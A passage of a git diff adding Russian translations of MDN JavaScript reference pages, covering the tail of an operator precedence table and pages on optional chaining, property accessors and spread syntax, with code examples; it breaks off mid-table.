+   <td><a href="/ru/docs/Web/JavaScript/Reference/Operators/Comparison_Operators#Equality">Равно</a></td>
+   <td rowspan="4">слева направо</td>
+   <td><code>… == …</code></td>
+  </tr>
+  <tr>
+   <td><a href="/ru/docs/Web/JavaScript/Reference/Operators/Comparison_Operators#Inequality">Не равно</a></td>
+   <td><code>… != …</code></td>
+  </tr>
+  <tr>
+   <td><a href="/ru/docs/Web/JavaScript/Reference/Operators/Comparison_Operators#Identity">Строго равно</a></td>
+   <td><code>… === …</code></td>
+  </tr>
+  <tr>
+   <td><a href="/ru/docs/Web/JavaScript/Reference/Operators/Comparison_Operators#Nonidentity">Строго не равно</a></td>
+   <td><code>… !== …</code></td>
+  </tr>
+  <tr>
+   <td>9</td>
+   <td><a href="/ru/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators#Bitwise_AND">Побитовое «И»</a></td>
+   <td>слева направо</td>
+   <td><code>… &amp; …</code></td>
+  </tr>
+  <tr>
+   <td>8</td>
+   <td><a href="/ru/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators#Bitwise_XOR">Побитовое исключающее «ИЛИ»</a></td>
+   <td>слева направо</td>
+   <td><code>… ^ …</code></td>
+  </tr>
+  <tr>
+   <td>7</td>
+   <td><a href="/ru/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators#Bitwise_OR">Побитовое «ИЛИ»</a></td>
+   <td>слева направо</td>
+   <td><code>… | …</code></td>
+  </tr>
+  <tr>
+   <td>6</td>
+   <td><a href="/ru/docs/Web/JavaScript/Reference/Operators/Logical_Operators#Logical_AND">Логическое «И»</a></td>
+   <td>слева направо</td>
+   <td><code>… &amp;&amp; …</code></td>
+  </tr>
+  <tr>
+   <td>5</td>
+   <td><a href="/ru/docs/Web/JavaScript/Reference/Operators/Logical_Operators#Logical_OR">Логическое «ИЛИ»</a></td>
+   <td>слева направо</td>
+   <td><code>… || …</code></td>
+  </tr>
+  <tr>
+   <td>4</td>
+   <td><a href="/ru/docs/Web/JavaScript/Reference/Operators/Conditional_Operator">Условный</a></td>
+   <td>справа налево</td>
+   <td><code>… ? … : …</code></td>
+  </tr>
+  <tr>
+   <td rowspan="13">3</td>
+   <td rowspan="13"><a href="/ru/docs/Web/JavaScript/Reference/Operators/Assignment_Operators">Присваивание</a></td>
+   <td rowspan="13">справа налево</td>
+   <td><code>… = …</code></td>
+  </tr>
+  <tr>
+   <td><code>… += …</code></td>
+  </tr>
+  <tr>
+   <td><code>… -= …</code></td>
+  </tr>
+  <tr>
+   <td><code>… **= …</code></td>
+  </tr>
+  <tr>
+   <td><code>… *= …</code></td>
+  </tr>
+  <tr>
+   <td><code>… /= …</code></td>
+  </tr>
+  <tr>
+   <td><code>… %= …</code></td>
+  </tr>
+  <tr>
+   <td><code>… &lt;&lt;= …</code></td>
+  </tr>
+  <tr>
+   <td><code>… &gt;&gt;= …</code></td>
+  </tr>
+  <tr>
+   <td><code>… &gt;&gt;&gt;= …</code></td>
+  </tr>
+  <tr>
+   <td><code>… &amp;= …</code></td>
+  </tr>
+  <tr>
+   <td><code>… ^= …</code></td>
+  </tr>
+  <tr>
+   <td><code>… |= …</code></td>
+  </tr>
+  <tr>
+   <td rowspan="2">2</td>
+   <td><a href="/ru/docs/Web/JavaScript/Reference/Operators/yield">yield</a></td>
+   <td rowspan="2">справа налево</td>
+   <td><code>yield …</code></td>
+  </tr>
+  <tr>
+   <td><a href="/ru/docs/Web/JavaScript/Reference/Operators/yield*">yield*</a></td>
+   <td><code>yield* …</code></td>
+  </tr>
+  <tr>
+   <td>1</td>
+   <td><a href="/ru/docs/Web/JavaScript/Reference/Operators/Comma_Operator">Запятая / Последовательность</a></td>
+   <td>слева направо</td>
+   <td><code>… , …</code></td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/ru/web/javascript/reference/operators/optional_chaining/index.html b/files/ru/web/javascript/reference/operators/optional_chaining/index.html
new file mode 100644
index 0000000000..30fd29e3c0
--- /dev/null
+++ b/files/ru/web/javascript/reference/operators/optional_chaining/index.html
@@ -0,0 +1,176 @@
+---
+title: "Оператор\_опциональной последовательности"
+slug: Web/JavaScript/Reference/Operators/Optional_chaining
+translation_of: Web/JavaScript/Reference/Operators/Optional_chaining
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p>Оператор <strong>опциональной последовательности</strong> <strong><code>?.</code></strong> позволяет получить значение свойства, находящегося на любом уровне вложенности в цепочке связанных между собой объектов, без необходимости проверять каждое из промежуточных свойств в ней на существование. <span class="seoSummary"> <code>?.</code> работает подобно оператору <code>.</code>, за исключением того, что не выбрасывает исключение, если объект, к свойству или методу которого идёт обращение, равен {{jsxref("null")}} или {{jsxref("undefined")}}. В этих случаях он возвращает <code>undefined</code>.</span></p>
+
+<p>Таким образом, мы получаем более короткий и понятный код при обращении к вложенным по цепочке свойствам объекта, когда есть вероятность, что какое-то из них отсутствует.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/expressions-optionalchainingoperator.html", "taller")}}</div>
+
+<div></div>
+
+
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><var>obj</var>?.<var>prop</var>
+<var>obj</var>?.[<var>expr</var>]
+arr?.[index]
+<var>func</var>?.(<var>args</var>)
+</pre>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Оператор опциональной последовательности предоставляет способ упростить доступ к значениям в цепочке обьектов, когда возможно, что какое-то свойство (или метод) в ней равно <code>undefined</code> или <code>null</code>.</p>
+
+<p>Для примера, создадим обьект <code>obj</code>, имеющий вложенную структуру. Без оператора опциональной последовательности поиск глубоко расположенных подсвойств требует проверки всех промежуточных свойств на существование, например:</p>
+
+<pre class="brush: js">let nestedProp = obj.first &amp;&amp; obj.first.second;</pre>
+
+<p>Если обращаться к <code>obj.first.second</code> без проверки <code>obj.first</code>, то, если свойство <code>obj.first</code> равно <code>null</code> или <code>undefined</code>, выбросится исключение {{jsxref("TypeError")}}.</p>
+
+<p>Однако, с оператором опциональной последовательности (<code>?.</code>) не требуется явно проверять ссылку на <code>obj.first</code> перед обращением к <code>obj.first.second</code>:</p>
+
+<pre class="brush: js">let nestedProp = obj.first?.second;</pre>
+
+<p>Если используется оператор <code>?.</code> вместо <code>.</code>, JavaScript знает о необходимости проверки <code>obj.first</code> перед обращением к <code>obj.first.second</code>. Если значение <code>obj.first</code> равно <code>null</code> или <code>undefined</code>, выполнение выражения автоматически прекращается и возвращается <code>undefined</code>.</p>
+
+<p>Это эквивалентно следующему (кроме создания временной переменной):</p>
+
+<pre>let temp = obj.first;
+let nestedProp = ((temp === null || temp === undefined) ? undefined : temp.second);</pre>
+
+<h3 id="Опциональная_последовательность_с_вызовом_функции">Опциональная последовательность с вызовом функции</h3>
+
+<p>Вы можете использовать <code>?.</code><strong>, </strong>когда необходимо вызвать метод, которого может не существовать. Это может быть полезно, например, при использовании API, в котором метод может быть недоступен из-за устаревания или неподдерживаемости устройством пользователя.</p>
+
+<p>Использование <code>?.</code><strong> </strong>с вызовом функции значит, что выполнение автоматически вернет <code>undefined</code>, а не выбросит исключение, если метод не найден:</p>
+
+<pre class="brush: js">let result = someInterface.customMethod?.();</pre>
+
+<div class="blockIndicator note">
+<p><strong>Обратите внимание:</strong> Для существующего свойства, не являющегося функцией, использование конструкции <code>x.y?.()</code> всё равно выбросит {{jsxref("TypeError")}} исключение (<code>x.y не является функцией</code>).</p>
+</div>
+
+<h3 id="Работа_с_функциями_обратного_вызова_и_обработчиками_событий">Работа с функциями обратного вызова и обработчиками событий</h3>
+
+<p>Если Вы используете функции обратного вызова или извлекаете методы обьекта <a href="/ru/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment#Разбор_объектов">деструктурирующим присваиванием</a>, Вы можете получить несуществующие значения, которые нельзя вызывать как функции до проверки на их существование. Используя оператор <code>?.</code>, Вы можете избежать лишних проверок:</p>
+
+<pre class="brush: js">// С использованием ES2019
+function doSomething(onContent, onError) {
+  try {
+    // ... делаем что-то с данными
+  }
+  catch (err) {
+    if (onError) { // проверяем, существует ли onError
+      onError(err.message);
+    }
+  }
+}</pre>
+
+<pre class="brush: js">// С использованием оператора опциональной последовательности
+function doSomething(onContent, onError) {
+  try {
+   // ... делаем что-то с данными
+  }
+  catch (err) {
+    onError?.(err.message); // не выбросит исключение, если onError равен undefined
+  }
+}
+</pre>
+
+<h3 id="Опциональные_последовательности_в_выражениях">Опциональные последовательности в выражениях</h3>
+
+<p>Вы также можете использовать оператор опциональной последовательности, когда обращаетесь к свойству с помощью <a href="/ru/docs/Web/JavaScript/Reference/Operators/Property_Accessors#Скобочная_нотация">скобочной нотации</a>:</p>
+
+<pre class="brush: js">let nestedProp = obj?.['prop' + 'Name'];
+</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Базовый_пример">Базовый пример</h3>
+
+<p>В этом примере производится обращение к свойству <code>name</code> элемента с ключом <code>bar</code> объекта <code>Map</code>. Элемент с таким ключом отсутствует, но исключение выброшено не будет; <code>nameBar</code> равен <code>undefined</code>.</p>
+
+<pre class="brush: js">let myMap = new Map();
+myMap.set("foo", {name: "baz", desc: "inga"});
+
+let nameBar = myMap.get("bar")?.name;</pre>
+
+<h3 id="Сокращенное_выполнение">Сокращенное выполнение</h3>
+
+<p>При использовании оператора опциональной последовательности в выражениях, где левая часть операнда равна <code>null</code> или <code>undefined</code>, выражение не будет выполнено. Например:</p>
+
+<pre class="brush: js">let potentiallyNullObj = null;
+let x = 0;
+let prop = potentiallyNullObj?.[x++];
+
+console.log(x); // 0, т.к. x не был инкрементирован
+</pre>
+
+<h3 id="Совместное_использование_операторов_опциональной_последовательности">Совместное использование операторов опциональной последовательности</h3>
+
+<p>Во вложенных объектах возможно использование оператора опциональной последовательности неограниченное количество раз:</p>
+
+<pre class="brush: js">let customer = {
+  name: "Carl",
+  details: {
+    age: 82,
+    location: "Paradise Falls" // точный адрес неизвестен
+  }
+};
+let customerCity = customer.details?.address?.city;
+
+// … это также работает с вызовами функций
+let duration = vacations.trip?.getTime?.();
+</pre>
+
+<h3 id="Использование_с_оператором">Использование с оператором ??</h3>
+
+<p>Оператор {{JSxRef("Operators/Nullish_Coalescing_Operator", "??", '', 1)}} может использоваться после опциональной последовательности для установления значения по умолчанию:</p>
+
+<pre>let customer = {
+  name: "Carl",
+  details: { age: 82 }
+};
+const customerCity = customer?.city ?? "Unknown city";
+console.log(customerCity); // Unknown city</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Примечание</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><a href="https://tc39.es/proposal-optional-chaining/">Proposal for the "optional chaining" operator</a></td>
+   <td>Stage 4</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.operators.optional_chaining")}}</p>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="https://github.com/tc39/proposal-pipeline-operator">Github - Proposal-pipeline-operator</a></li>
+ <li><a href="https://github.com/tc39/proposals">TC39 proposals</a></li>
+ <li>{{JSxRef("Operators/Nullish_Coalescing_Operator", "Nullish Coalescing Operator", '', 1)}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/operators/property_accessors/index.html b/files/ru/web/javascript/reference/operators/property_accessors/index.html
new file mode 100644
index 0000000000..84ba61f9fd
--- /dev/null
+++ b/files/ru/web/javascript/reference/operators/property_accessors/index.html
@@ -0,0 +1,203 @@
+---
+title: Property accessors
+slug: Web/JavaScript/Reference/Operators/Property_Accessors
+translation_of: Web/JavaScript/Reference/Operators/Property_Accessors
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p>Доступ к свойствам объекта можно получить, используя точечную и скобочную записи.</p>
+
+<p>{{EmbedInteractiveExample("pages/js/expressions-propertyaccessors.html", "taller")}}</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate">object.property
+object["property"]
+</pre>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Можно думать об объекте как об ассоциативном массиве (или <em>карте, словаре, хэш-таблице, таблице поиска</em>). <em>Ключи</em> в таком массиве - это имена свойств объекта.</p>
+
+<p>Когда речь идёт о свойствах объекта, обычно различают собственно свойства и методы. Однако разделение свойство/метод это не более чем условность. Метод - это просто свойство, которое можно вызвать (например, если оно содержит ссылку на {{jsxref("Function", "функцию")}} в качестве значения.</p>
+
+<p>Есть два способа доступа к свойствам: точечная и скобочная записи.</p>
+
+<h3 id="Точечная_запись">Точечная запись</h3>
+
+<p class="brush: js">В записи <code>object.property</code>, <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">property</span></font> должно быть действительным <a href="https://wiki.developer.mozilla.org/ru/docs/%D0%A1%D0%BB%D0%BE%D0%B2%D0%B0%D1%80%D1%8C/Identifier">идентификатором</a>. (В стандарте ECMAScript, имена своств технически называются "IdentifierNames", а не "Identifiers", поэтому зарезервированные слова могут быть использованы в их качестве, но это не рекомендуется). Например, <code>object.$1</code> является верной записью, а <code>object.1</code> - нет.</p>
+
+<pre class="brush: js notranslate">const variable = <var>object</var>.<var>property_name;</var>
+
+<var>object</var>.<var>property_name</var> = value;
+</pre>
+
+<pre class="brush: js notranslate">const object = {};
+
+object.$1 = 'foo';
+console.log(object.$1);  // 'foo'
+
+object.1 = 'bar';        // SyntaxError
+console.log(object.1);   // SyntaxError</pre>
+
+<p>Здесь метод с именем <code>createElement</code> считывается с объекта <code>document</code> и вызывается.</p>
+
+<pre class="brush: js notranslate">document.createElement('pre')</pre>
+
+<p>Если вы хотите вызвать метод на численном литерале, не имеющий части с экспонентой или точки, отделающей дробную часть, нужно ставить пробел перед точкой, являющейся частью обращения к этому методу, чтобы интерпретатор не посчитал, что это точка отделяет дробную часть числа (или использовать другие способы этого избежать).</p>
+
+<pre class="brush: js notranslate">// SyntaxError, здесь считается, что 77. это число,
+// поэтому такая запись эквивалентна (77.)toExponentional()
+// что является ошибкой
+77.toExponentional()
+// Рабочие варианты:
+77.toExponential()
+77
+.toExponential()
+;(77).toExponential()
+// Здесь первая точка относится к числу, вторая вызывает метод
+// то есть эта запись равносильна (77.).toExponential()
+77..toExponential()
+// Эквивалентно (77.0).toExponential()
+77.0.toExponential()</pre>
+
+<h3 id="Скобочная_запись">Скобочная запись</h3>
+
+<p class="brush: js">В записи <code>object[property_name]</code>, <em><code>property_name</code> - </em>это выражение, вычисляющееся в строку или <a href="/ru/docs/%D0%A1%D0%BB%D0%BE%D0%B2%D0%B0%D1%80%D1%8C/Symbol">символ</a>. Это может быть любая строка, не обязательно действительный идентификатор, например <code>'1foo'</code>, '<code>!bar!'</code> или даже <code>' '</code> (пробел).</p>
+
+<pre class="brush: js notranslate">const variable = object[property_name]
+object[property_name] = value</pre>
+
+<p>Пример, аналогичный примеру в предыдущем пункте:</p>
+
+<pre class="brush: js notranslate">document['createElement']('pre');
+</pre>
+
+<p>Пробел перед скобкой допускается:</p>
+
+<pre class="brush: js notranslate">document ['createElement']('pre')</pre>
+
+<h3 id="Имена_свойств">Имена свойств</h3>
+
+<p>Имена свойств могут быть строками или <a href="/ru/docs/%D0%A1%D0%BB%D0%BE%D0%B2%D0%B0%D1%80%D1%8C/Symbol">символами</a>. Любое другое значение приводится к строке. Следующий код выводит <code>'value'</code>, поскольку число <code>1</code> приводится к строке <code>'1'</code>.</p>
+
+<pre class="brush: js notranslate">const object = {}
+object['1'] = 'value'
+console.log(object[1])</pre>
+
+<p>Этот пример также выводит <code>'value',</code> так как и <code>foo</code>, и <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">bar</span></font> приводятся к одной и той же строке.</p>
+
+<pre class="brush: js notranslate">const foo = {unique_prop: 1}
+const bar = {unique_prop: 2}
+const object = {}
+
+object[foo] = 'value';
+console.log(object[bar]);
+</pre>
+
+<p>В движке <a href="/en-US/docs/Mozilla/Projects/SpiderMonkey">SpiderMonkey</a> JavaScript это строка <code>'[object Object]'</code>.</p>
+
+<h3 id="Привязка_методов">Привязка методов</h3>
+
+<p>Метод не привязан к содержащему его объекту. Это значит, что значение <code>this</code> в методах объекта не всегда указывает на него. Вместо этого, <code>this</code> "передаётся" при вызове метода. Смотрите подробнее <code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/this#Method_binding">this</a></code>.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Скобочная_запись_или_eval">Скобочная запись или <code>eval</code></h3>
+
+<p>Новички JavaScript часто делают ошибку, используя <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval">eval</a> там, где можно просто использовать скобочную запись.</p>
+
+<p>Например, следующий синтаксис можно часто увидеть в скриптах.</p>
+
+<pre class="brush: js notranslate">x = eval('document.forms.form_name.elements.' + strFormControl + '.value');
+</pre>
+
+<p>Функция <code>eval()</code> очень медленная и её использования следует избегать, когда это возможно. Кроме того, строка <code>strFormControl</code> при таком использовании обязаны содержать действительный идентификатор, что не является обязательным для <code>id</code> полей формы, то есть, например, поле с id <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">1</span></font> не получится получить такой записмью. Лучше вместо этого использовать скобочную запись:</p>
+
+<pre class="brush: js notranslate">x = document.forms["form_name"].elements[strFormControl].value;
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-property-accessors', 'Property Accessors')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-11.2.1', 'Property Accessors')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1', '#sec-11.2.1', 'Property Accessors')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Object")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/operators/spread_syntax/index.html b/files/ru/web/javascript/reference/operators/spread_syntax/index.html
new file mode 100644
index 0000000000..c96be61337
--- /dev/null
+++ b/files/ru/web/javascript/reference/operators/spread_syntax/index.html
@@ -0,0 +1,249 @@
+---
+title: Spread syntax
+slug: Web/JavaScript/Reference/Operators/Spread_syntax
+translation_of: Web/JavaScript/Reference/Operators/Spread_syntax
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<div><strong>Spread syntax</strong> позволяет расширить доступные для итерации элементы (например, массивы или строки) в местах</div>
+
+<ul>
+ <li>для функций: где ожидаемое количество аргументов для вызовов функций равно нулю или больше нуля</li>
+ <li>для элементов (литералов массива)</li>
+ <li>для выражений объектов: в местах, где количество пар "ключ-значение" должно быть равно нулю или больше (для объектных литералов)</li>
+</ul>
+
+<div>{{EmbedInteractiveExample("pages/js/expressions-spreadsyntax.html")}}</div>
+
+<p class="hidden">Источник для этого интерактивного примера находится в репозитории на GitHub. Если вы желаете внести свой вклад в этот проект, то, пожалуйста, склонируйте  себе <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> и пришлите нам pull request.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<p>Для вызовов функций:</p>
+
+<pre class="syntaxbox notranslate">myFunction(...iterableObj);
+</pre>
+
+<p>Для литералов массива или строк:</p>
+
+<pre class="syntaxbox notranslate">[...iterableObj, '4', 'five', 6];</pre>
+
+<p>Для литералов объекта (новое в ECMAScript 2018):</p>
+
+<pre class="syntaxbox notranslate">let objClone = { ...obj };</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Spread_в_вызовах_функций">Spread в вызовах функций</h3>
+
+<h4 id="Замена_apply">Замена apply</h4>
+
+<p>Обычно используют {{jsxref( "Function.prototype.apply")}} в случаях, когда хотят использовать элементы массива в качестве аргументов функции.</p>
+
+<pre class="brush: js notranslate">function myFunction(x, y, z) { }
+var args = [0, 1, 2];
+myFunction.apply(null, args);</pre>
+
+<p>С <strong>spread syntax</strong> вышеприведенное можно записать как:</p>
+
+<pre class="brush: js notranslate">function myFunction(x, y, z) { }
+var args = [0, 1, 2];
+myFunction(...args);</pre>
+
+<p>Любой аргумент в списке аргументов может использовать <strong>spread syntax</strong>, и его можно использовать несколько раз.</p>
+
+<pre class="brush: js notranslate">function myFunction(v, w, x, y, z) { }
+var args = [0, 1];
+myFunction(-1, ...args, 2, ...[3]);</pre>
+
+<h4 id="Apply_для_new">Apply для new</h4>
+
+<p>Вызывая конструктор через ключевое слово <code>new</code>, невозможно использовать массив и <code>apply</code> <strong>напрямую </strong>(<code>apply</code> выполняет <code>[[Call]]</code>, а не <code>[[Construct]]</code>).Однако благодаря spread syntax, массив может быть с легкостью использован со словом <code>new:</code></p>
+
+<pre class="brush: js notranslate">var dateFields = [1970, 0, 1];  // 1 Jan 1970
+var d = new Date(...dateFields);
+</pre>
+
+<p>Чтобы использовать <code>new</code> с массивом параметров без spread syntax, вам потребуется использование частичного применения:</p>
+
+<pre class="brush: js notranslate">function applyAndNew(constructor, args) {
+   function partial () {
+      return constructor.apply(this, args);
+   };
+   if (typeof constructor.prototype === "object") {
+      partial.prototype = Object.create(constructor.prototype);
+   }
+   return partial;
+}
+
+
+function myConstructor () {
+   console.log("arguments.length: " + arguments.length);
+   console.log(arguments);
+   this.prop1="val1";
+   this.prop2="val2";
+};
+
+var myArguments = ["hi", "how", "are", "you", "mr", null];
+var myConstructorWithArguments = applyAndNew(myConstructor, myArguments);
+
+console.log(new myConstructorWithArguments);
+// (internal log of myConstructor):           arguments.length: 6
+// (internal log of myConstructor):           ["hi", "how", "are", "you", "mr", null]
+// (log of "new myConstructorWithArguments"): {prop1: "val1", prop2: "val2"}</pre>
+
+<h3 id="Spread_в_литералах_массива">Spread в литералах массива</h3>
+
+<h4 id="Более_мощный_литерал_массива">Более мощный литерал массива</h4>
+
+<p>Без spread syntax, применение синтаксиса литерала массива для создания нового массива на основе существующего недостаточно и требуется императивный код вместо комбинации методов <code>push</code>, <code>splice</code>, <code>concat</code> и т.д. С spread syntax реализация становится гораздо более лаконичной:</p>
+
+<pre class="brush: js notranslate">var parts = ['shoulders', 'knees'];
+var lyrics = ['head', ...parts, 'and', 'toes'];
+// ["head", "shoulders", "knees", "and", "toes"]
+</pre>
+
+<p>Аналогично развертыванию в массиве аргументов, <code>...</code> может быть использован повсеместно и многократно в литерале массива.</p>
+
+<h4 id="Копирование_массива">Копирование массива</h4>
+
+<pre class="brush: js notranslate">var arr = [1, 2, 3];
+var arr2 = [...arr]; // like arr.slice()
+arr2.push(4);
+
+// arr2 becomes [1, 2, 3, 4]
+// arr remains unaffected
+</pre>
+
+<p><strong>Примечание:</strong> Spread syntax на самом деле переходит лишь на один уровень глубже при копировании массива. Таким образом, он может не подходить для копирования многоразмерных массивов, как показывает следующий пример: (также как и c {{jsxref("Object.assign()")}}) и синтаксис spred </p>
+
+<pre class="brush: js notranslate">const a = [[1], [2], [3]];
+const b = [...a];
+b.shift().shift(); // 1
+// О нет. Теперь на массив "а" относятся также: а
+//[[], [2], [3]]
+</pre>
+
+<h4 id="Лучший_способ_конкатенации_массивов">Лучший способ конкатенации массивов</h4>
+
+<p>Для конкатенации массива часто используется {{jsxref("Array.concat")}}:</p>
+
+<pre class="brush: js notranslate">var arr1 = [0, 1, 2];
+var arr2 = [3, 4, 5];
+// Append all items from arr2 onto arr1
+arr1 = arr1.concat(arr2);</pre>
+
+<p>С использованием spread syntax:</p>
+
+<pre class="brush: js notranslate">var arr1 = [0, 1, 2];
+var arr2 = [3, 4, 5];
+arr1 = [...arr1, ...arr2];
+</pre>
+
+<p>{{jsxref("Array.unshift")}} часто используется для вставки массива значений в начало существующего массива. Без spread syntax:</p>
+
+<pre class="brush: js notranslate">var arr1 = [0, 1, 2];
+var arr2 = [3, 4, 5];
+// Prepend all items from arr2 onto arr1
+Array.prototype.unshift.apply(arr1, arr2) // arr1 is now [3, 4, 5, 0, 1, 2]</pre>
+
+<p>С использованием spread syntax [Следует отметить, что такой способ создает новый массив <code>arr1</code>. В отличие от {{jsxref("Array.unshift")}}, исходный массив не мутируется]:</p>
+
+<pre class="brush: js notranslate">var arr1 = [0, 1, 2];
+var arr2 = [3, 4, 5];
+arr1 = [...arr2, ...arr1]; // arr1 is now [3, 4, 5, 0, 1, 2]
+</pre>
+
+<h3 id="Spread_в_литералах_объекта">Spread в литералах объекта</h3>
+
+<p>Предложение <a href="https://github.com/tc39/proposal-object-rest-spread">Rest/Spread Properties for ECMAScript</a> (стадия 4) добавляет свойства spread в <a href="/ru/docs/Web/JavaScript/Reference/Operators/Object_initializer">литералы объекта</a>. Оно копирует собственные перечисляемые свойства данного объекта в новый объект.</p>
+
+<p>Поверхностное копирование (без прототипа) или объединение объектов теперь возможно с использованием более короткого, чем {{jsxref("Object.assign()")}}, синтаксиса.</p>
+
+<pre class="brush: js notranslate">var obj1 = { foo: 'bar', x: 42 };
+var obj2 = { foo: 'baz', y: 13 };
+
+var clonedObj = { ...obj1 };
+// Object { foo: "bar", x: 42 }
+
+var mergedObj = { ...obj1, ...obj2 };
+// Object { foo: "baz", x: 42, y: 13 }</pre>
+
+<p>Обратите внимание, что {{jsxref("Object.assign()")}} запускает <a href="/en-US/docs/Web/JavaScript/Reference/Functions/set">setters</a>, а <strong>spread syntax</strong> нет.</p>
+
+<p>Обратите внимание, что вы не можете заменить или имитировать функцию {{jsxref("Object.assign()")}}:</p>
+
+<pre class="brush: js notranslate">var obj1 = { foo: 'bar', x: 42 };
+var obj2 = { foo: 'baz', y: 13 };
+const merge = ( ...objects ) =&gt; ( { ...objects } );
+
+var mergedObj = merge ( obj1, obj2);
+// Object { 0: { foo: 'bar', x: 42 }, 1: { foo: 'baz', y: 13 } }
+
+var mergedObj = merge ( {}, obj1, obj2);
+// Object { 0: {}, 1: { foo: 'bar', x: 42 }, 2: { foo: 'baz', y: 13 } }</pre>
+
+<p>В приведенном выше примере оператор распространения не работает так, как можно было бы ожидать: он распространяет <em>массив</em> аргументов в литерал <em>объекта</em> благодаря параметру rest.</p>
+
+<h3 id="Только_для_итерируемых_объектов">Только для итерируемых объектов</h3>
+
+<p>Spread syntax ( кроме случаев spread properties) может быть применен только к итерируемым объектам (<a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Symbol/iterator">iterable</a> objects) :</p>
+
+<pre class="brush: js notranslate">var obj = {'key1': 'value1'};
+var array = [...obj]; // TypeError: obj is not iterable
+</pre>
+
+<h3 id="Spread_с_большим_количеством_значений">Spread с большим количеством значений</h3>
+
+<p>При использовании spread оператора в вызовах функций необходимо быть внимательным к возможному переполнению в ядре JavaScript. Существует ограничение по максимально возможному количеству аргументов функции. См. <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/apply" title="The apply() method calls a function with a given this value, and arguments provided as an array (or an array-like object)."><code>apply()</code></a> для уточнения.</p>
+
+<h2 id="Rest_синтаксис_параметры">Rest синтаксис (параметры)</h2>
+
+<p>Синтаксис для rest оператора выглядит таким же как и для spread оператора, однако он используется для деструктуризации массивов и объектов. Фактически, rest оператор противоположен spread оператору: последний раскладывает массив на элементы, тогда как первый собирает много элементов в один. См. <a href="/en-US/docs/Web/JavaScript/Reference/Functions_and_function_scope/rest_parameters">rest parameters.</a></p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-array-initializer')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
